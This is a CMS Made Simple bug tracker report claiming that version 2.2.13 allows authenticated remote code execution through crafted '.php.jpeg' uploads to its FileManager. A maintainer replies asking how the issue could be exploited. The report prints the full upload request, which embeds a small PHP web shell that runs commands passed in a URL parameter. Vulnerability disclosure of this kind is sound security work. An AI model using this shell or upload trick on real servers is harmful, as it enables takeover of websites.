


CMSMS | CMS Made Simple

- 1- Home
- 2- About
 - 2.1- About Us
 - 2.2- Testimonials
 - 2.3- Merchandisg
 - 2.4- Donations
 - 2.5- About This Website
 - 2.6- Sitemap
- 3- Downloads
 - 3.1- File Releases
 - 3.2- Demo
 - 3.3- CMSms Themes Site
 - 3.4- Modules
 - 3.5- Tags
- 5- Support
 - 5.1- Documentation
 - 5.2- FAQ
 - 5.3- Blog
 - 5.4- IRC
 - 5.5- Translate
 - 5.6- Report Bug or Feature Request
 - 5.7- Mailing Lists
 - 5.8- CMS Made Simple Hosting
 - 5.9- Professional Services
 - 5.10- Commercial License
- 6- Forum
 - 6.1- Rules
 - 6.2- Announcements
- 7- Development
 - 7.1- Roadmap
 - 7.2- CMSMS Forge
 - 7.3- Translationcenter

CMS MADE SIMPLE FORGE

CMS Made Simple Core

- Summary
- Files
- Bug Tracker
- Feature Requests
- Code
- Large Home
- Project List
- Recent Changes
-  Login

[Back to List](#)

[#12275] Remote Code Execution (RCE) authenticated with crafted JPG files



Created By: Joshua Provoste ([joshup](#))
Date Submitted: Mon Mar 16 10:18:37 -0400 2020

Assigned To: Ruud van der Velden ([ruudvldvelden](#))
Version: 2.2.13
CMSMS Version: 2.2.13
Severity: Critical
Resolution: Awaiting Response
State: Open
Summary:
Remote Code Execution (RCE) authenticated with crafted JPG files
Detailed Description:

Hello,

CMS Made Simple 2.2.13 it's vulnerable to Remote Code Execution (RCE) authenticated, using crafted JPG extension files through the FileManager.

```
#### POST request ####
POST /cmsms/admin/moduleinterface.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.9,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=-----1194998256194298217245699085
Content-Length: 689
Origin: http://127.0.0.1
Connection: close
Cookie:
_c=7eac2c88c0a471c85e7; CMSIICc6ae4b144e=80f585d9fad9b2cd3f1a4b392f3b8e31;
CMSSESSID52563d040680=62311d807899e65f0b3f00095d13494b
-----1194998256194298217245699085
Content-Disposition: form-data; name="next"

FileManager_m1,,upload,0
-----1194998256194298217245699085
Content-Disposition: form-data; name="_c"

7eac2c88c0a471c85e7
-----1194998256194298217245699085
Content-Disposition: form-data; name="disable_buffer"

1
-----1194998256194298217245699085
Content-Disposition: form-data; name="m1_files[]"; filename="cmd.php.jpeg"
Content-Type: application/octet-stream

<?php
if(isset($_GET("command"))){
    system($_GET('command'));
}
?>
-----1194998256194298217245699085--
```

History

Comments



Date: 2020-09-18 12:11
Posted By: Ruud van der Velden ([ruudvldvelden](#))
How would this file be exploitable in a real-world scenario?

Updates

Updated: 2020-09-18 12:11
resolution_id: => 10
assigned_to_id: 100 => 18365

- 1- Home
- 2- About
- 3- Downloads
- 5- Support
- 6- Forum
- 7- Development

CMS made simple is Free software under the GNU/GPL licence.

Website designed by [Steve Sicherman](#)